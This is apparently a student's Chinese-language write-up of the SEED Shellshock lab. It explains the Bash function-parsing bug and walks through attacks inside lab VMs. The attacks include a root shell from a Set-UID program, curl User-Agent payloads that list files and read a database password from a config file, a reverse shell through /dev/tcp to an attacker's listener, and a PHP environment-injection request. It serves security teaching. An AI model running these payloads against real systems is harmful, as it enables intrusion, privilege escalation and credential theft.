Shellshock Attack Lab

预备环境

  1. Ubuntu16.04
  2. 存在shellshock漏洞的bash程序。

预备知识

  1. Bash源代码中的错误
if(privmode==0 && read_but_dont_execute ==0 && STREQN("() {",string,4){
...
parse_and_excute(temp_string,name,SEVAL_NONINT|SEVAL_NOHIST);
}
  • Bash检查环境变量是否以"() { "开头,以确定是否需要把它转换为函数,一旦发现这样的字符串,Bash将“=”替换成空格从而将环境变量变成一个函数定义,生产下面的字符串:
foo(){echo "hello world";};echo "extre";
  • 然后Bash调用parse_and_execute()函数来解析函数定义,然而parse_and_execute()函数的功能太过强大,它不仅仅解析函数定义,还可以解析和运行其他的shell指令。如果字符串只是一个函数定义,该函数只会解析它而不会执行它,但如果该字符串包含用分号(;)隔开的多个shell命令,则parse_and_execute()函数会解析和运行每一条命令。
  1. Shellshock漏洞要求满足两个条件
  • Bash调用
  • 传入用户数据作为环境变量。

开始实验

利用ShellShock攻击Set-UID程序

  1. 当一个root用户的Set-UID程序通过system()函数执行/bin/ls程序时,将会启动一个Bash进程,攻击者设计的环境变量将导致非授权的命令以root权限被执行。
  2. 准备有漏洞的程序
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void main()
{
        setuid(geteuid());
        system("/bin/ls -l");
}
  • system()函数来执行来执行/bin/ls命令,system()函数实际上会使用fork()函数来创建子进程,然后使用execl()函数执行/bin/sh程序,最终请求shell程序执行/bin/ls。
  • 在Ubuntu16.04中,/bin/sh指向的是/bin/dash,因此system()函数只会调用/bin/dash,而这个程序是没有Shellshock漏洞的,因此需要修改链接,让/bin/sh指向有漏洞的bash_shellshock程序。
sudo ln -sf /bin/bash_shellshock /bin/sh
  • setuid(seteuid())函数把真是用户ID变为和有效用户ID一致,因为如果真实用户ID和有效用户ID不一致的话,Bash不会处理从环境变量处获得函数定义,因此不会受到Shellshock攻击。
  1. 编译并设置程序为root用户的Set-UID程序。
[07/05/20]seed@VM:~/codegcc -o vul vul.c
[07/05/20]seed@VM:~/codesudo chown root vul
[07/05/20]seed@VM:~/codesudo chmod 4755 vul
[07/05/20]seed@VM:~/code$ ./vul
total 12
-rwsr-xr-x 1 root seed 7420 Jul  5 07:40 vul
-rw-rw-r-- 1 seed seed  119 Jul  5 07:40 vul.c
  1. 基于Shellshock漏洞,可以构造一个函数声明,并将所选命令(/bin/sh)放在声明的最后,然后输出(export),再运行程序。
  • 在这里需要注意shell函数声明内部的空格缩进,否则易发生错误。
[07/05/20]seed@VM:~/code$ export foo='() { echo hello; }; /bin/sh'
[07/05/20]seed@VM:~/code$ ./vul
sh-4.2# 
  • 当运行Set-UID程序时(vul)时,shell变量会变成子进程的环境变量,由于system()函数的原因,Bash会被调用,它检测到环境变量foo中存放一个函数声明,因此会解析该声明。
  • 由于解析逻辑中的漏洞,它最终会执行放在末尾的/bin/sh,可以看到在运行后,出现了一个#号提示符就说明我们已经获取到了root权限的shell。

利用Shellshock攻击CGI程序

  1. 该实验需要准备两台虚拟机:一个时攻击者,一个是目标服务器。
  • 首先用Bash脚本编写一个简单的CGI程序,它的作用仅仅是打印出“Hello World”。
  • 在CGI程序中使用有漏洞的bash_shellshock
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
  • 然后需要将该CGI程序放到目标服务器的/usr/lib/cgi-bin目录中,并将它的权限设置为775,该目录是Apache服务器的默认CGI目录。
  1. 获取服务器目录信息
  • 攻击者需要做的是为了User-Agent字段构造一个字符串,以触发Bash中的错误解析逻辑,目标是让CGI程序执行选择的命令。
  • 首先尝试一个/bin/ls指令,看能否获取服务器某个目录中的内容,在这个命令之前,还需要指定Apache返回数据的类型,因为Apache会受到CGI程序打印出的任何内容,因此可以通过Content-type: text/plain来告诉Apache服务器数据的类型。
    C:\Users\12586>curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/ls -l"  http://192.168.137.128/cgi-bin/test.cgi
    total 4
    -rwxrwxr-x 1 seed seed 121 Jul  5 09:43 test.cgi
    
  • 从运行结果来看,/bin/ls命令得到了执行。
  • 在Ubuntu中,Web服务器以www-data用户ID运行,这使得程序的权限非常有限,利用该权限不能控制服务器,但却能造成一些破坏。
  1. 盗取密码
  • 当一个Web应用连接后台数据库(MySQL时),它需要提供登录密码,这些密码通常是直接写在程序中的,或者存储在配置文件中,远程用户无法读取这些密码,但是如果让服务器运行指令,就可以获得这些密码。
  • Ubuntu虚拟机中的Web服务器运行了几个Web应用,它们中的大多数都是使用数据库的,可以从下面这个文件获得密码:/var/www/CSRF/Elgg/elgg-config/settings.php,一旦获得了密码,就可以直接登录到数据库,盗取或者改动信息。
    	C:\Users\12586>curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php"  http://192.168.137.128/cgi-bin/test.cgi
    	<?php
    	
    	date_default_timezone_set('UTC');
    	global $CONFIG;
    	if (!isset($CONFIG)) {
    	        $CONFIG = new \stdClass;
    	}
    	$CONFIG->dbuser = 'elgg_admin';
    	
    	/**
    	 * The database password
    	 *
    	 * @global string $CONFIG->dbpass
    	 */
    	$CONFIG->dbpass = 'seedubuntu';
    	...
    	```
    
  1. 创建反向shell
  • 反向Shell是让程序把它的输入和输出都交由远程计算机的用户控制,一般在受害者的机器中运行该Shell,从攻击者的机器中接受输入,同时也将输出发送到攻击者的机器中,反向shell为攻击者提供了一种在已被攻破的机器中运行命令的便捷方法。
  • 攻击者先运行,在攻击者的机器中开启一个TCP服务器,监听9090端口。
	Attacker@VM:/$ nc -lv 9090
  • 然后再启动一个控制台运行下面给命令向目标服务器的CGI发起恶意请求:
Attacker@VM:/$ curl -A "() { echo hello; }; echo Content-type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1" 	http://192.168.137.128/cgi-bin/test.cgi
  • /bin/bash -i意味着使用shell的可交互模式,shell在这个模式下会提供提示符。
  • /dev/tcp/192.168.137.129/9090,使得shell的输出设备被重定向至TCP连接,连接到192.168.137.129的9090端口,在UNIX系统中,stdout的文件描述符是1.
  • 0<&1:文件描述符0代表标准输入设备,这个选项告诉系统将标准输出设备也用作标准输入设备。由于标准输出已经重定向到TCP连接,因此Shell程序会从同一个TCP连接获得输入。TCP连接是一个双向设备,既可以往里面写数据,也可以从中读取数据。
  • 2>&1:文件描述符2代表标准错误,这是错误也被重定向到TCP连接。
  • 总结:/bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1在服务器上开启一个Bash shell,他的输入来自TCP连接,输出又被传给同一个TCP连接。
  • 从结果来看,一旦curl指令被执行,攻击指令也会再服务器上被运行,这将导致CGI程序触发一个Bash shell,该Bash shell会链接到192.168.137.129的9090端口,也就是攻击者的计算机,攻击者的nc程序会接受这个连接,并显示由远端服务器的CGI触发的Bash程序送来的Shell提示符,这表反向Shell成功了。
Attacker@VM:/$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [192.168.137.128] port 9090 [tcp/*] accepted (family 2, sport 47966)
bash: cannot set terminal process group (2389): Inappropriate ioctl for device
bash: no job control in this shell
www-data@VM:/usr/lib/cgi-bin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • 结果表明,可以服务器上以www-data身份运行任何命令了,虽然不是一个特殊用户。

针对PHP的远程攻击

  1. 存在漏洞的PHP程序
<?php
function getParam()
{
        $arg = NULL;
        if(isset($_GET["arg"]) && !empty($_GET["arg"]))
        {
                $arg = $_GET["arg"];
        }
        return $arg;
}
$arg = getParam();
putenv("ARG=$arg");
system("strings /proc/$$/environ | grep ARG");
?>
  1. 将该文件放到/var/www/html目录下,修改文件权限为775.
  2. 通过攻击者的计算机执行如下指令:
Attacker@VM:/$ curl http://192.168.137.128/test.php?arg="()%20%7B%20echo%20hello;%20%7D;%20/bin/cat%20/var/www/secret.txt"
THIS IS SECRET
  1. 对于arg参数来说,除了包含一个shell函数定义外,还加上额外的命令,该命令是"arg=() { echo hello;}; /bin/cat /var/www/secret.txt"的URL编码,该命令的目的是读取secret.txt文件的内容,当system()函数开启shell程序解析环境变量时,在shell函数定义末尾的额外指令将被执行。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章